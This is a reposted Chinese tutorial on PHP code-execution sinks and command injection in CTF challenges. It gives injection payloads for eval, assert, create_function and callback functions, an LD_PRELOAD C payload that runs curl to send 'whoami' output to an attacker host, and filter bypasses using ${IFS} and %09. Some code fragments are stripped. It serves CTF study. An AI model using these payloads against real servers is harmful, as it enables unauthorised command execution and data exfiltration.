您现在的位置是:网站首页> 编程资料编程资料

CTF命令执行及绕过技巧_php技巧_

2023-05-25 303人已围观

简介 CTF命令执行及绕过技巧_php技巧_

前言

今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列!

今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景!

正文

在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的!

代码执行 代码执行的几种方式

 ${}执行代码 eval assert preg_replace create_function() array_map() call_user_func()/call_user_func_array() array_filter() usort(),uasort()

${}执行代码

方法:${php代码}

 ${phpinfo()};

eval()执行代码

 eval('echo 2;');

assert()

普通调用

 //?a=phpinfo()

assert函数支持动态调用

 //?a=phpinfo() 

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点

 //phpinfo()无法执行成功
 //成功执行phpinfo()

preg_replace()

 mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

 $a = 'phpinfo()'; $b = preg_replace("/abc/e",$b,'abcd');

create_function()

说明

 string create_function ( string $args , string $code )

该函数用来创建匿名函数。
这个函数的实现大概是这样的

 $b = create_function('$name','echo $name;'); //实现 function niming($name){ echo $name; } $b(yang); niming('yang');

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码

 $a = 'phpinfo();'; $b = create_function(" ",$a); $b();

上面这种方法是最直接的,接下来看一点有趣的。

自己写的小示例

 $id=$_GET['id']; $code = 'echo $name. '.'的编号是'.$id.'; '; $b = create_function('$name',$code); //实现 function niming($name){ echo $name."编号".$id; } $b('sd');

这里直接传入phpinfo是不行的,构造的payload

 ?id=2;}phpinfo();/* 

传入后,代码如下

 function niming($name){ echo $name.编号2; }phpinfo();/* }

这样就执行了代码,再给出网上找的一个例子。

构造的payload如下

 ?sort_by=”]);}phpinfo();/*

在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下

"; echo "=============================="; echo "
"; $f1 = create_function('$a',$str2); echo "
"; echo "=============================="; ?>

纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。

array_map()

官方文档

 array array_map ( callable $callback , array $array1 [, array $... ] ) array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

漏洞演示

 //?a=assert&b=phpinfo(); $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array);

call_user_func()/call_user_func_array()

和array_map()函数挺像的。

官方文档

 call_user_func()
 mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func_array()

 mixed call_user_func_array ( callable $callback , array $param_arr ) 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

示例

call_user_func()

 // ?a=phpinfo(); call_user_func(assert,$_GET['a']);

call_user_func_array()

 //?a=phpinfo(); $array[0] = $_GET['a']; call_user_func_array("assert",$array); 

array_filter()

官方文档

 array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) 依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

示例

 $array[0] = $_GET['a']; array_filter($array,'assert');

usort()/uasort()

usrot官方文档

 bool usort ( array &$array , callable $value_compare_func ) 本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

shell_1

只有在php5.6以上环境才可使用
详解

关于...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

shell_2

下面这种写法只在php5.6版本以下可以使用。

 // ?1=1+1&2=phpinfo(); usort($_GET,'asse'.'rt');

命令执行 常见命令执行函数

  • system()
  • passthru()
  • exec()
  • shell_exec()
  • `反引号
  • ob_start()
  • mail函数+LD_PRELOAD执行系统命令
  • system()

➜ ~ php -r "system('whoami');"

passthru()

➜ ~ php -r "passthru('whoami');"

exec()

➜ ~ php -r "echo exec('whoami');"

shell_exec()

➜ ~ php -r "echo shell_exec('whoami');"

`反引号

➜ ~ php -r "echo @`whoami`;"

ob_start()

官方文档

 bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

使用

 //输出www-data

mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c

 #include  #include  #include  int main(){ void payload() { system("curl http://vps_IP:4123/?a=`whoami`"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); } } 

编译

gcc -c -fPIC a.c -o a gcc -shared a -o a.so

mail.php

监听vps的4123端口,访问mail.php。

绕过姿势

空格

在bash下,可以用以下字符代替空格

< ${IFS} $IFS$9 %09

测试

root@kali:~# cat

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!

%09测试

 //http://ip/index.php?cmd=cat%091.txt

提示: 本文由整理自网络,如有侵权请联系本站删除!
本站声明:
1、本站所有资源均来源于互联网,不保证100%完整、不提供任何技术支持;
2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途;否则由此产生的法律后果,本站概不负责!

-六神源码网